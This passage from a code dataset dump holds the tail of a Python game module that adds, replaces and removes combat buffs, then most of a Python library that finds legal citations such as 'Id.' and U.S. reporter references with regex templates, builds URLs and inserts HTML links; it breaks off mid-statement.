\t\t\t\twarObj.printDebugMsg(\"\\t[%s]抗封成功,抗封率%d%%\" % (vic.name, ratio))\r\n# \t\t\t\treturn 0\r\n# \t\t\telse:\r\n# \t\t\t\twarObj.printDebugMsg(\"\\t[%s]抗封失败,抗封率%d%%\" % (vic.name, ratio))\r\n\r\n\treturn 1\r\n\r\ndef _newOrReplacePos(w, bfObj):\r\n\ttypePos = bfObj.getTypePos()\r\n\tbuffList = w.buffList[typePos]\r\n\tfor pos,obj in enumerate(buffList):\r\n\t\tif not obj:\r\n\t\t\treturn pos\r\n\r\n\tif typePos != BUFF_TYPEPOS_SPECIAL:\t# 随机替换\r\n\t\tpos = rand(len(buffList))\r\n\t\tbuffList[pos].lost(w)\r\n\t\tbuffList[pos] = None\r\n\telse:  #　增加\r\n\t\tbuffList.append(None)\r\n\t\tpos = len(buffList) - 1\r\n\treturn pos\r\n\t\r\ndef addOrReplace(vic, bfId, bout, att=None, **args):\r\n\t'''替换buff，如果没有此buff，则增加\r\n\t'''\r\n\tbfObj = has(vic, bfId)\r\n\tif bfObj:\r\n\t\tif not bfObj.replacable: # 不可叠加\r\n\t\t\treturn None\r\n\t\tif not _checkAdd(vic, bfObj, att):\r\n\t\t\treturn None\r\n\t\tbfObj.bout = bout\r\n\t\tvic.war.rpcWarBuff(idx=vic.idx, id=bfObj.id, bout=bfObj.bout)\r\n\t\treturn bfObj\r\n\t\r\n\treturn add(vic, bfId, bout, att, **args)\r\n\r\ndef fork(vic, bfObj, att=None):\r\n\t'''复制\r\n\t'''\r\n\tbfId = bfObj.id\r\n\tbout = bfObj.bout\r\n\tif has(vic, bfId):\r\n\t\treturn None\r\n\t\r\n\tfor func in vic.getFuncList(\"onAddBuff\"):\r\n\t\tbout = func(vic, bfObj, bout, att)\r\n\tif bout == 0:\r\n\t\treturn None\r\n\t\t\r\n\tpos = _newOrReplacePos(vic, bfObj)\r\n\ttypePos = bfObj.getTypePos()\r\n\tbfObj.setup(vic)\r\n\tvic.buffList[typePos][pos] = bfObj\r\n\treturn bfObj\r\n\r\ndef remove(w, bfId):\r\n\t'''移除buff\r\n\t'''\r\n\tbfObj = get(bfId)\r\n\tif not bfObj:\r\n\t\treturn\r\n\tif not bfObj.removable: # 不可解除\r\n\t\treturn\r\n\t\r\n\tbuffList = w.buffList[bfObj.getTypePos()]\r\n\tfor pos,obj in enumerate(buffList):\r\n\t\tif obj and obj.id == bfId:\r\n\t\t\tbuffList[pos] = None\r\n\t\t\tobj.lost(w)\r\n\t\t\treturn\r\n\t\t\r\n\r\ndef has(w, bfId):\r\n\t'''是否有同编号buff\r\n\t'''\r\n\ttypePos = get(bfId).getTypePos()\r\n\tfor bfObj in w.buffList[typePos]:\r\n\t\tif bfObj and bfObj.id == bfId:\r\n\t\t\treturn bfObj\r\n\treturn None\r\n\r\nfrom common import *\r\nfrom buff.defines import *\r\nimport buff.load\r\nimport buff.object\r\n","sub_path":"logic/buff/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"492921043","text":"# python standard imports\nimport re\nfrom pathlib import Path\nfrom typing import Iterable\n\n# external imports\nfrom yaml import safe_load\n\n# file with all the templates to load by default\nDEFAULT_YAML_PATH = Path(__file__).parent.absolute() / 'builtin-templates.yaml'\n\n# regex for \"Id.\"-type citations that will be recognized for all templates\nGENERIC_ID = r\"\\b(Ib)?[Ii]d\\.(<\\/(i|em|u)>)?\"\n\n# regex to break chains of \"Id.\"-type citations\nDEFAULT_ID_BREAKS = 'L\\. ?Rev\\.|J\\. ?Law|\\. ?([Cc]ode|[Cc]onst)'\n\n# these tokens can differ without being considered a different authority\nNON_AUTHORITY_TOKENS = [\n    'subsection',\n    'subdivision',\n    'clause',\n    'pincite',\n    'pincite_end',\n    'footnote',\n]\n\n# for the number format operation\n_ROMAN_NUMERALS = [\n    (1000, 'M'),\n    ( 900, 'CM'),\n    ( 500, 'D'),\n    ( 400, 'CD'),\n    ( 100, 'C'),\n    (  90, 'XC'),\n    (  50, 'L'),\n    (  40, 'XL'),\n    (  10, 'X'),\n    (   9, 'IX'),\n    (   5, 'V'),\n    (   4, 'IV'),\n    (   1, 'I'),\n]\n\nclass Citation:\n    \"\"\"\n    A single citation found in text.\n    \n    Attributes:\n        text: The text of the citation itself, like \"42 USC § 1988(b)\"\n        span: The beginning and end positions of this citation in the\n            source text.\n        template: The template which recognized this citation\n        tokens: Dictionary of the named capture groups from the regex\n            this citation matched. For \"id.\" and \"shortform\" citations,\n            this includes tokens carried over from the parent citation.\n        processed_tokens: Dictionary of tokens after they have been\n            modified via the template's processes.\n        URL: The URL where a user can read this citation online\n        authority: The Authority that this citation is a reference to.\n            This attribute is not set until list_authorities() is run.\n    \"\"\"\n    def __init__(self, match: re.Match, template):\n        \"\"\"\n        For internal use. There should be no need to create citations\n        by means other than a Citator or Template object.\n        \"\"\"\n        self.span: tuple = match.span()\n        self.template: Template = template\n        self.text: str = match.group(0)\n        # idForm and shortForm citations get values from parent citation\n        # except where their regexes include space for those values\n        if template.parent_citation:\n            self.tokens: dict = dict(template.parent_citation.tokens)\n            for key, val in match.groupdict().items():\n                self.tokens[key] = val\n        else:\n            self.tokens: dict = match.groupdict()\n        self.processed_tokens: dict = self.template._process_tokens(self.tokens)\n        self.URL: str = self._get_url()\n    \n    def __str__(self):\n        return self.text\n    \n    def _get_url(self) -> str:\n        \"\"\"\n        Processes tokens, feeds the results into the template's\n        URL template, and returns the resulting URL.\n        \n        Returns:\n            A generated URL pointing to where to find the citation,\n            or None.\n        \"\"\"\n        if not hasattr(self.template, 'URL'):\n            return None\n        # Process matched tokens (i.e. named regex capture groups)\n        URL = \"\"\"\"\"\"\n        for part in self.template.URL:\n            for key, value in self.processed_tokens.items():\n                if value is None: continue\n                part = part.replace('{%s}' % key, value)\n            missing_value = re.search('\\{.+\\}', part)\n            if not missing_value:\n                URL += part\n        return URL\n    \n    def get_link(self, attrs: dict={'class': 'citation'}):\n        \"\"\"Return citation's link element, with given attributes\"\"\"\n        if self.URL:\n            attrs['href'] = self.URL\n        else:\n            del attrs['href']\n        attr_str = ''\n        for key, value in attrs.items():\n            attr_str += ' %s=\"%s\"' % (key, value)\n        return '<a%s>%s</a>' % (attr_str, self.text)\n    \n    def _original_cite(self):\n        \"\"\"\n        Get whichever citation this is an id. or shortform\n        of. Returns self if this *is* the longform.\n        \"\"\"\n        parent = self\n        while parent.template.parent_citation:\n            parent = parent.template.parent_citation\n        return parent\n    \n    def _child_templates(self, is_id: bool):\n        templates = []\n        regex_templates = (\n            self.template.idForms if is_id\n            else self.template.shortForms\n        )\n        # make a dictionary of the original tokens, or unique processed tokens\n        template_fillers = {**self.processed_tokens, **self.tokens}\n        for template in regex_templates:\n            # Insert context values into template to make new regex\n            regex = template\n            for key, value in template_fillers.items():\n                if not value: continue\n                regex = regex.replace('{%s}' % key, value)\n            templates.append(Template(\n                name=self.template.name,\n                regexes=[regex],\n                idForms=self.template.idForms,\n                URL=self.template.URL if hasattr(self.template, 'URL') else None,\n                operations=self.template.operations,\n                defaults=self.template.defaults,\n                parent_citation=self,\n                _is_id=is_id\n            ))\n        return templates\n    \n    def _get_shortform_citations(self, text: str):\n        templates = self._child_templates(False)\n        for template in templates:\n            for citation in template.get_citations(text, span=(self.span[1], )):\n                yield citation\n            \n    def _get_id_citations(self, text: str, end_point: int=None):\n        templates = self._child_templates(True)\n        id_citations = []\n        scan_cites = [self]\n        while len(scan_cites) > 0:\n            citation = scan_cites.pop(0)\n            if end_point:\n                span = (citation.span[1], end_point)\n            else:\n                span = (citation.span[1],)\n            potential_ids = []\n            for template in citation._child_templates(True):\n                match = template.lookup(text, broad=False, span=span)\n                if match:\n                    potential_ids.append(match)\n            if potential_ids:\n                id_citation = sorted(potential_ids, key=_sort_key)[0]\n                id_citations.append(id_citation)\n                scan_cites.append(id_citation)\n        return id_citations\n\n\nclass Authority:\n    \"\"\"\n    A single source cited one or more times in a text.\n    \n    Attributes:\n        defining_tokens: A dictionary of tokens that define this\n            authority, such that any citations with incompatible\n            token values will not match it. Note that this uses\n            processed_tokens (those which have been modified by\n            the template's operations).\n        template: The template which found all the citations to this\n            authority\n        citations: The list of all the citations that refer to\n            this authority.\n        base_citation: A citation object representing the hypothetical\n            generic citation to this authority.\n        name: The text of base_citation\n    \"\"\"\n    def __init__(self, first_cite: Citation, allowed_differences: list=[]):\n        \"\"\"\n        Define an authority by providing a single long-form citation,\n        and the list of tokens which, if present in the citation, should\n        be discarded from the definition of the authority.\n        \n        Generates a base_citation to represent the generic instance of\n        this authority.\n        \n        Arguments:\n            first_cite: A long-form citation object representing the\n                first and archetypal citation to this authority. The\n                first_cite will be added as the first entry in the\n                authority's citation list, and it will be used as the\n                basis to generate the authority's base_citation.\n            allowed_differences: A list of tokens whose values can\n                differ among citations to the same authority\n        \"\"\"\n        long_cite = first_cite._original_cite()\n        self.template: Template = long_cite.template\n        self.citations: list = [first_cite]\n        # List the token values that distinguish this authority from\n        # others in the same template. This uses processed tokens, not\n        # raw, so that a citation to \"50 U.S. 5\" will match\n        # a citation to \"50 U. S. 5\", etc.\n        self.defining_tokens: dict = {}\n        for t in first_cite.processed_tokens:\n            if (\n                first_cite.processed_tokens[t] != None\n                and t not in allowed_differences\n            ):\n                self.defining_tokens[t] = first_cite.processed_tokens[t]\n        # Next, derive a base citation to represent this authority.\n        # If the first_citation to this authority isn't a longform, use\n        # whatever longform it's a child of.\n        self.base_citation: Citation = None\n        try:\n            self.base_citation = self._derive_base_citation(long_cite)\n        except TypeError:\n            self.base_citation = first_cite\n        # Set other instance variables\n        self.name: str = self.base_citation.text\n        self.URL: str = self.base_citation.URL\n        # finally, give the first citation a reference to this authority\n        first_cite.authority = self\n    \n    def include(self, citation):\n        \"\"\"Adds the citation to this authority's list of citations. Also,\n        adds the `authority` tag to the citation, referring back to this\n        authority.\"\"\"\n        self.citations.append(citation)\n        citation.authority = self\n    \n    def matches(self, citation) -> bool:\n        \"\"\"\n        Checks whether a given citation matches the template and defining\n        tokens of this authority.\n        \"\"\"\n        if self.template.name != citation.template.name:\n            return False\n        for key, value in self.defining_tokens.items():\n            if (key not in citation.processed_tokens\n                or citation.processed_tokens[key] != value):\n                return False\n        return True\n    \n    def __str__(self):\n        return str(self.base_citation)\n    \n    def _derive_base_citation(self, parent: Citation) -> Citation:\n        replacement_tokens = {}\n        for key, value in self.citations[0].tokens.items():\n            if key in self.defining_tokens:\n                replacement_tokens[key] = value\n        # Check if the parent longform citation contains all the defining\n        # tokens. If it doesn't, use the shortform that does.\n        for key in replacement_tokens.keys():\n            if key not in parent.tokens or parent.tokens[key] == None:\n                parent = self.citations[0]\n                break\n        # Next, construct a regex pattern to pull out the defining\n        # tokens, along with the non-token text preceding each one. The\n        # non-token \"prelude\" text lets us replace the text of each\n        # token only when they appear in context. \n        pattern = ''\n        for token in replacement_tokens:\n            regex = re.escape(parent.tokens[token])\n            segment = f\"\"\"((?P<{token}_prelude>.*?)(?P<{token}>{regex}))?\"\"\"\n            if pattern:\n                pattern = pattern[:-2] + segment + ')?'\n            else: pattern = segment\n        match = re.match(pattern, parent.text)\n        # Slice off all the text after the last defining token. This will\n        # remove things like subsections, etc. It assumes that optional\n        # tokens are always after the mandatory ones.\n        base_cite_text = parent.text[:match.span(token)[1]]\n        # For each token, replace the value from the longform citation\n        # with the proper value for this authority.\n        for token in replacement_tokens:\n            if not match.group(token):\n                continue\n            prelude = str(match.group(token + '_prelude'))\n            old_value = prelude + match.group(token)\n            new_value = prelude + replacement_tokens[token]\n            base_cite_text = base_cite_text.replace(old_value, new_value)\n        # Default to strict matching, but fall back to broadRegex\n        # if strict match doesn't exist. Don't default to broadRegex\n        # because it might not capture the full text.\n        # If that still fails, just use the shortform.\n        base_cite = self.template.lookup(base_cite_text, broad=False)\n        if not base_cite:\n            base_cite = self.template.lookup(base_cite_text, broad=True)\n        if not base_cite:\n            base_cite = self.citations[0]\n        return base_cite\n\n\nclass Citator:\n    \"\"\"\n    CiteURL's main feature: a collection of templates, and the tools\n    to apply them to text, to find all kinds of citations in a text.\n    \n    Attributes:\n        templates: A list of template objects that this citator will try to\n            match against.\n        generic_id: A common regex the citator will append to each\n            template when it is loaded, to recognize a simple citation to\n            the most-recently cited source.\n    \"\"\"\n    def __init__(\n        self,\n        yaml_paths: list=[],\n        defaults: bool=True,\n        generic_id: str=GENERIC_ID\n    ):\n        \"\"\"\n        Calls load_yaml one or more times, to load the citator with\n        templates.\n        \n        Arguments:\n            defaults: Whether to load CiteURL's default templates\n            yaml_paths: paths to additional YAML files with templates that\n                should be loaded to supplement or replace the defaults.\n            generic_id: a common regex to append to all templates, to\n                recognize a simple citation to the most-recently cited\n                source. Detects \"id.\" or \"ibid.\" by default. To\n                disable, set to None.\n        \"\"\"\n        self.generic_id: str = generic_id\n        self.templates: list = []\n        if defaults:\n            self.load_yaml(DEFAULT_YAML_PATH)\n        for path in yaml_paths:\n            self.load_yaml(path)\n    \n    def load_yaml(self, path: str, use_generic_id: bool=True):\n        \"\"\"\n        Import templates from the specified YAML file into the citator.\n        \n        Arguments:\n            path: path to the YAML file to load\n            use_generic_id: Whether to append the citator's generic_id\n            citation format to the loaded templates.\n        \"\"\"\n        yaml_text = Path(path).read_text()\n        yaml_dict = safe_load(yaml_text)\n        \n        # read each item in the YAML into a new template\n        for template_name, template_data in yaml_dict.items():\n            # if regex is specified in singular form, convert it to a\n            # list with one item, for sake of consistency with multiple-\n            # regex templates.\n            for key in ['regex', 'broadRegex']:\n                if key in template_data:\n                  template_data[key + 'es'] = [template_data.pop(key)]\n            \n            # unrelated: if an individual regex is given as a list of\n            # strings (convenient for reusing YAML anchors), concatenate\n            # it to one string.\n            for key in ['regexes', 'broadRegexes', 'idForms', 'shortForms']:\n                if key not in template_data:\n                    continue\n                for i, regex in enumerate(template_data[key]):\n                    if type(regex) is list:\n                        template_data[key][i] = ''.join(regex)\n                        \n            # make the template and add it to the citator, adding the\n            # generic id-form citation if applicable\n            new_template = Template(name=template_name, **template_data)\n            if (\n                use_generic_id and self.generic_id\n                # weird bug: without this next check, the generic id\n                # gets added upwards of 44 times even though the code\n                # appears to run only once\n                and self.generic_id not in new_template.idForms\n            ):\n                new_template.idForms.append(self.generic_id)\n            self.templates.append(new_template)\n    \n    def list_citations(self,\n        text: str,\n        id_forms: bool=True,\n        id_break_regex: str=DEFAULT_ID_BREAKS,\n        id_break_indices: list=[],\n    ) -> list:\n        \"\"\"\n        Scan a text and return a list of all citations in it, in\n        order of appearance.\n        \n        Arguments:\n            id_forms: Whether to detect citations like \"Id.\" and\n                \"Id. at 30.\"\n            id_break_regex: A pattern to look for in the text. Any\n                occurrence of the pattern will interrupt a chain of\n                \"id.\" citations as if it were another citation.\n            id_break_indices: A list of positions in the text\n                where \"id.\" citations should be interrupted\n        Returns:\n            A list of citation objects, in order of appearance in the\n            text.\n        \"\"\"\n        # First, get full citations:\n        citations = []\n        for template in self.templates:\n            citations += template.get_citations(text)\n        shortform_cites = []\n        \n        # Then, add shortforms\n        for citation in citations:\n            shortform_cites += citation._get_shortform_citations(text)\n        citations += shortform_cites\n        citations = _sort_and_remove_overlaps(citations)\n        \n        if not id_forms: # no need to proceed\n            return citations\n        \n        # determine where to break chains of id. citations\n        for citation in citations: # break at full or short citations\n            id_break_indices.append(citation.span[0])\n        if id_break_regex: #also break at specified regexes\n            matches = re.compile(id_break_regex).finditer(text)\n            for match in matches:\n                id_break_indices.append(match.span()[0])\n        id_break_indices = sorted(set(id_break_indices))\n        \n        # loop through all citations to find their id citations\n        id_citations = []\n        for citation in citations:\n            # find the next id break point\n            i = -1\n            for index in id_break_indices:\n                i += 1\n                if index > citation.span[1]:\n                    end_point = index\n                    break\n            else:\n                end_point = None\n            id_break_indices = id_break_indices[i:]\n            # get each citation's id citations until the break point\n            id_citations += citation._get_id_citations(\n                text, end_point=end_point\n            )\n        return _sort_and_remove_overlaps(citations + id_citations)\n    \n    def lookup(self, query: str, broad: bool=True) -> Citation:\n        \"\"\"\n        Convenience method to get the first citation from the first\n        matching template, or None.\n        \n        This is meant for cases where false positives are not an issue,\n        so it uses broadRegex and case-insensitive matching by default.\n        \n        Arguments:\n            broad: Whether to use case-insensitive regex matching and,\n                if available, each template's broadRegex.\n            query: The text to scan for a citation\n        Returns:\n            A single citation object, or None\n        \"\"\"\n        for template in self.templates:\n            citation = next(template.get_citations(query, broad=broad), None)\n            if citation:\n                return citation\n        return None\n    \n    def insert_links(\n        self,\n        text: str,\n        attrs: dict={'class': 'citation'},\n        url_optional: bool=False,\n        link_detailed_ids: bool=True,\n        link_plain_ids: bool=False,\n        id_break_regex: str=DEFAULT_ID_BREAKS,\n        id_break_indices: list=[]) -> str:\n        \"\"\"\n        Convenience method to return a copy of the given text, with\n        citation hyperlinks inserted.\n        \n        If you plan to do more than just insert links, it's better to\n        get a list of citations with list_citations first, then insert\n        those links with the module-wide insert_links function.\n        \"\"\"\n        citations = self.list_citations(\n            text,\n            id_break_regex=id_break_regex,\n            id_break_indices=id_break_indices\n        )\n        return insert_links(\n            citations,\n            text,\n            attrs=attrs,\n            link_detailed_ids=link_detailed_ids,\n            link_plain_ids=link_plain_ids,\n            url_optional=url_optional\n        )\n        \n    def list_authorities(self, text: str) -> list:\n        \"\"\"\n        Convenience method to list all the authorities cited in a\n        given text.\n        \n        If you plan to do more than list authorities, it's better to\n        get a list of citations with list_citations, then list the\n        unique authorities with the module-wide list_authorities\n        function.\n        \"\"\"\n        citations = self.list_citations(text)\n        return list_authorities(citations)\n        \n    def __str__(self):\n        return str(self.templates)\n\n\nclass Template:\n    \"\"\"\n    A pattern to recognize a single kind of citation and generate\n    URLs from matches.\n    \n    In most cases, it is more useful to use the Citator class to load\n    templates from YAML files and apply them en masse, rather than use\n    the Template class directly.\n    \"\"\"\n    def __init__(self,\n        name: str,\n        regexes: list,\n        URL=None,\n        broadRegexes: list=None,\n        idForms: list=[],\n        shortForms: list=[],\n        defaults: dict={},\n        operations: list=[],\n        parent_citation: Citation=None,\n        _is_id=False\n    ):\n        \"\"\"\n        Template constructor. Primarily meant for use in loading YAML\n        files and dynamically generating shortform templates, but can be\n        run directly if needed.\n        \n        Arguments:\n            name: The name of this template\n            \n            regexes: A list of one or more regexes that this template will\n                match. Each regex should be provided as a string, and\n                should include one or more named capture groups\n                (i.e. \"tokens\") that will be used to generate the URL.\n            \n            URL: The template by which to generate URLs from citation\n                matches. Placeholders in {curly braces} will be replaced\n                by the value of the token with the same name, after that\n                token has been processed by the template\n                \n                The URL template can be provided either as as a string\n                or as a list of strings to concatenate. In the latter\n                case, if a list item contains a placeholder for which\n                no value is set, the list item will be skipped.\n            \n            defaults: A dictionary of tokens and corresponding default\n                values which should be set if the token's value is not\n                otherwise set by a regex capture group.\n            \n            operations: A list of operations to perform on the tokens,\n                in sequence, to transform them from `captured_tokens` to\n                `processed_tokens`, the tokens that are used for URL\n                generation.\n                \n                Each operation must specify a `token` for its input. It\n                will also be used as the output of the operation, unless\n                `output` is specified. If the specified input token is\n                not set, the operation will be skipped.\n                \n                The supported operations are `case`, `sub`, `lookup`,\n                `optionalLookup`, `lpad`, and `numberFormat`.\n                \n                The `case` operation outputs the input token, set to the\n                specified capitalization, either 'upper', 'lower', or\n                'title'.\n                \n                The `sub` operation performs a regex substitution. It\n                requires a list of two strings; the first is the regex\n                to match in the input token, and the second is the text\n                to replace each match with.\n                \n                The `lookup` operation tries to match the input against\n                a series of dictionary keys (using case-insensitive\n                regex), and set the output to the corresponding value.\n                If the dictionary does not contain a matching key, the\n                entire template match will retroactively fail.\n                `optionalLookup` works the same way, except that failed\n                lookups will not cause the template to fail, and will\n                simply leave tokens unmodified.\n                \n                The `numberFormat` operation assumes that the input\n                token is a number, either in digit form or Roman\n                numerals. It outputs the same number, converted to the\n                specified number format, either 'roman' or 'digit'.\n                \n            shortForms: A list of regex templates to generate regexes\n                that recognize short-forms of a parent long-form\n                citation that has appeared earlier in the text.\n                \n                Any named section in {curly braces} will be replaced by\n                the value of the corresponding token from the parent\n                citation. So if a template detects a longform citation to\n                \"372 U.S. 335\" and has a shortform `{volume} {reporter}\n                at (?P<pincite>\\d+)`, it will generate the following\n                regex: `372 U.S. at (?P<pincite>\\d+)`.\n                \n            idForms: Think \"id.\", not ID. Identical to shortForms,\n                except that these regexes will only match until the\n                next different citation or other interruption.\n                \n            parent_citation: The citation, if any, that this template\n                was created as a shortform of. This argument is\n                for dynamically-generated templates, and there is usually\n                no need to use it manually.\n        \"\"\"\n        # Basic values\n        self.name: str = name\n        self.regexes: str = regexes\n        self.is_id: bool = _is_id\n        if URL:\n            self.URL: str = URL if type(URL) is list else [URL]\n        # Supplemental regexes\n        self.broadRegexes: str = broadRegexes\n        self.idForms: list = idForms\n        self.shortForms: list = shortForms\n        # String operators\n        self.defaults: dict = defaults\n        self.operations: list = operations\n        \n        # Extra data for shortform citations\n        self.parent_citation: Citation = parent_citation\n        \n        # hack: prevent all regexes from matching mid-word\n        for key in ['regexes', 'broadRegexes', 'idForms', 'shortForms']:\n            regex_list = self.__dict__[key]\n            if not regex_list:\n                continue\n            regex_list = list(map(lambda x: r'(\\b|^)' + x, regex_list))\n        \n        # dictionaries of compiled regexes\n        self._compiled_regexes: dict = {}\n        self._compiled_broadRegexes: dict = {}\n        \n    def __str__(self):\n        return self.name\n    \n    def lookup(\n        self,\n        text: str,\n        broad: bool=True,\n        span: tuple=(0,)\n    ) -> Citation:\n        \"\"\"\n        Returns the first citation it finds in the text, or None.\n        \n        Arguments:\n            text: The text to scan for a citation.\n            broad: Whether to use case-insensitive regex matching\n                and, if available, the template's broadRegex.\n            span: A tuple of one or two values determining\n                the start and end index of where in the text to search\n                for citations. Defaults to (0,) to scan the entire text.\n        Returns:\n            The first citation this template finds in the scanned text,\n            or None.\n        \"\"\"\n        try:\n            return next(self.get_citations(text, broad=broad, span=span))\n        except:\n            return None\n    \n    def get_citations(\n        self,\n        text: str,\n        broad: bool=False,\n        span: tuple=(0,)\n    ) -> Iterable:\n        \"\"\"\n        Generator to return all citations the template finds in text.\n        \n        Arguments:\n            text: The text to scan for a citation\n            broad: Whether to use case-insensitive regex matching and,\n                if available, the template's broadRegex.\n            span: A tuple of one or two values determining\n                the start and end index of where in the text to search\n                for citations. Defaults to (0,) to scan the entire text.\n        Returns:\n            Generator that yields each citation the template finds in the\n                text, or None.\n        \"\"\"\n        matches = []\n        regex_count = len(self.regexes)\n        if broad and self.broadRegexes:\n            regex_count += len(self.broadRegexes)\n        for index in range(regex_count):\n            #print(f'scanning regex {index} for template {self}')\n            matches += self._compiled_re(index, broad).finditer(text, *span)\n            \n        for match in matches:\n            try:\n                citation = Citation(match, self)\n            # skip citations where lookup failed:\n            except KeyError as e:\n                citation = None\n            if citation:\n                yield citation\n        return None\n    \n    def _compiled_re(self, index: int = 0, broad: bool = False) -> re.Pattern:\n        \"\"\"\n        Gets the compiled broad or regular regex pattern for the\n        given numbered regex, first compiling it if necessary.\n        \"\"\"\n        if broad:\n            if index < len(self.regexes):\n                regex_str = self.regexes[index]\n            else:\n                regex_str = self.broadRegexes[index - len(self.regexes)]\n            target = self._compiled_broadRegexes\n            kwargs = {'flags':re.I}\n        else:\n            regex_str = self.regexes[index]\n            kwargs = {}\n            target = self._compiled_regexes\n        \n        # only compile regex if it's not already present\n        if index not in target:\n            try:\n                target[index] = re.compile(regex_str, **kwargs)\n            except re.error as e:\n                if not self.parent_citation:\n                    raise SyntaxError(\n                        f'CiteURL template for {self.name} has an invalid '\n                        + 'broadRegex' if index>len(self.regexes) else 'regex'\n                        + f': {e}'\n                    )\n                # if there's a parent citation, error should refer to\n                # the parent template, not this one\n                else:\n                    raise SyntaxError(\n                        f'CiteURL template for {self.parent_citation.template}'\n                        + f' has an error in a shortForm or idForm: {e}'\n                    )\n        return target[index]\n\n    def _process_tokens(self, tokens: dict):\n        \"\"\"\n        Returns a copy of the given set of tokens, after applying the\n        template's defaults and processing operations\n        \"\"\"\n        processed_tokens = dict(tokens)\n        for key, val in self.defaults.items():\n            if key not in processed_tokens or processed_tokens[key] is None:\n                processed_tokens[key] = val\n        \n        # perform each operation in series\n        for operation in self.operations:\n            # skip any operation that requires a nonexistent token\n            if (\n                operation['token'] not in processed_tokens\n                or processed_tokens[operation['token']] is None\n            ):\n                continue\n            \n            input_value = processed_tokens[operation['token']]\n            \n            if 'output' in operation:\n                output = operation['output']\n            else:\n                output = operation['token']\n            \n            # handle case modification\n            if 'case' in operation:\n                case = operation['case']\n                if case == 'upper':\n                    processed_tokens[output] = input_value.upper()\n                elif case == 'lower':\n                    processed_tokens[output] = input_value.lower()\n                elif case == 'title':\n                    processed_tokens[output] = input_value.title()\n            \n            # handle regex substitution\n            if 'sub' in operation:\n                processed_tokens[output] = re.sub(\n                    operation['sub'][0],\n                    operation['sub'][1],\n                    input_value,\n                )\n            \n            # handle lookups, optional and otherwise\n            def regex_lookup(op: str):\n                output_val = None\n                for regex, value in operation[op].items():\n                    if re.fullmatch(regex, input_value, flags=re.I):\n                        output_val = value\n                        break\n                return output_val\n            for op in ['lookup', 'optionalLookup']:\n                if op not in operation:\n                    continue\n                output_val = regex_lookup(op)\n                if output_val is not None:\n                    processed_tokens[output] = output_val\n                elif op != 'optionalLookup':\n                    raise KeyError(\n                        f\"lookup failed for {operation['token']}\"\n                        + \" '{input_value}'\"\n                    )\n\n            # change between digits and roman numerals\n            if 'numberFormat' in operation:\n                if operation['numberFormat'] == 'roman':\n                    # convert to roman numerals if necessary\n                    try:\n                        number = int(input_value)\n                        # credit to https://stackoverflow.com/a/47713392\n                        result = ''\n                        for (arabic, roman) in _ROMAN_NUMERALS:\n                            (factor, number) = divmod(number, arabic)\n                            result += roman * factor\n                        processed_tokens[output] = result\n                    except ValueError:\n                        processed_tokens[output] = input_value\n                \n                elif operation['numberFormat'] == 'digit':\n                    # convert to digits if necessary\n                    if re.fullmatch('[MDCLXVI]+', input_value, flags=re.I):\n                        # https://codereview.stackexchange.com/a/141413\n                        translation = {v:k for k,v in _ROMAN_NUMERALS}\n                        values = [translation[r] for r in input_value.upper()]\n                        processed_tokens[output] = str(sum(\n                            val if val >= next_val else -val\n                            for val, next_val in zip(values[:-1], values[1:])\n                        ) + values[-1])\n                    else:\n                        processed_tokens[output] = input_value\n            \n            # left pad with zeros\n            if 'lpad' in operation:\n                processed_tokens[output] = input_value.zfill(operation['lpad'])\n        \n        return processed_tokens\n\n\ndef insert_links(\n    citations: list,\n    text: str,\n    attrs: dict={'class': 'citation'},\n    link_detailed_ids: bool=True,\n    link_plain_ids: bool=False,\n    url_optional: bool=False\n) -> str:\n    \"\"\"\n    Given a text and a list of citations found in it, return a text\n    with an HTML hyperlink inserted for each citation.\n    \n    Arguments:\n        citations: A list of citation objects found in the text\n        text: The text the citations were found in\n        attrs: HTML tag attributes (like css class, rel, etc)\n            to give each inserted hyperlink.\n        link_detailed_ids: Whether to insert hyperlinks for citations\n            like \"Id. at 30.\"\n        link_plain_ids: Whether to insert hyperlinks for simple repeat\n            citations like \"id.\"\n        url_optional: Whether to insert link elements for citations that\n            do not have an associated URL\n    Returns:\n        The input text, with HTML links inserted for each citation\n    \"\"\"\n    offset = 0\n    for citation in citations:\n        # by default, skip citations without URLs\n        if not citation.URL and not url_optional:\n            continue\n        \n        if citation.template.is_id:\n            # check whether the matched citation is from a template that\n            # has any named capture groups. If it doesn't, it's a\n            # \"plain id.\" and should normally be skipped\n            if not '(?P<' in citation.template._compiled_re().pattern:\n                if not link_plain_ids:\n                    continue\n            elif not link_detailed_ids:\n                continue\n        \n        link = citation.get_link(attrs=attrs)\n        \n        # insert each link into the proper place by offsetting later\n        # citations by however many extra characters are added by each\n        cite_start = citation.span[0] + offset\n        cite_end = citation.span[1] + offset\n        text = ''.join([text[:cite_start], link, text[cite_end:]])\n        offset += len(link) - len(citation.text)\n    \n    return text\n\n\ndef _join_if_list(source):\n    return source if type(source) is str else ''.join(source)\n\n\ndef _sort_and_remove_overlaps(citations: list):\n    \"\"\"Sorts citations by order of appearance; deletes overlaps.\"\"\"\n    sorted_citations = sorted(citations, key=_sort_key)\n    index = 1 # to loop through citations while adding more\n    while index < len(sorted_citations):\n        current = sorted_citations[index]\n        previous = sorted_citations[index - 1]\n        # Skip to next section if there's no overlap\n        if previous.span[1] < current.span[0]:\n            index += 1\n            continue\n        # Delete whichever overlapping citation is shorter.\n        # If they have the same length, delete the one that\n        # was found earliest.\n        if len(previous.text) > len(current.text):\n            sorted_citations.pop(index)\n        elif len(previous.text) < len(current.text):\n            sorted_citations.pop(index - 1)\n        elif citations.index(previous) > citations.index(current):\n            sorted_citations.pop(index)\n        else:\n            sorted_citations.pop(index - 1)\n    return sorted_citations\n\n\ndef _sort_key(citation):\n    \"\"\"Helper function to sort citations by order of appearance\"\"\"\n    return citation.span[0]\n\n\ndef list_authorities(\n    citations: list, \n    irrelevant_tokens: list=NON_AUTHORITY_TOKENS\n) -> list:\n    \"\"\"\n    Combine a list of citations into a list of authorities, each\n    of which represents all the citations to a particular source.\n    \n    As a side-effect, this also gives each citation an `authority`\n    attribute referring to the proper authority.\n    \n    Arguments:\n        citations: The list of citations to combine\n        irrelevant_tokens: A list of tokens whose values may \n            differ among citations to the same authority.\n    Returns:\n        A list of authority objects, sorted by the number of citations\n        that refer to each, from most to least.\n    \"\"\"\n    authorities = []\n    for citation in citations:\n        for authority in authorities:\n            if authority.matches(citation):\n                authority.include(citation)\n                break\n        else:\n            authorities.append(Authority(citation, irrelevant_tokens))\n    def authority_sort_key(authority):\n        return 0 - len(authority.citations)\n    return 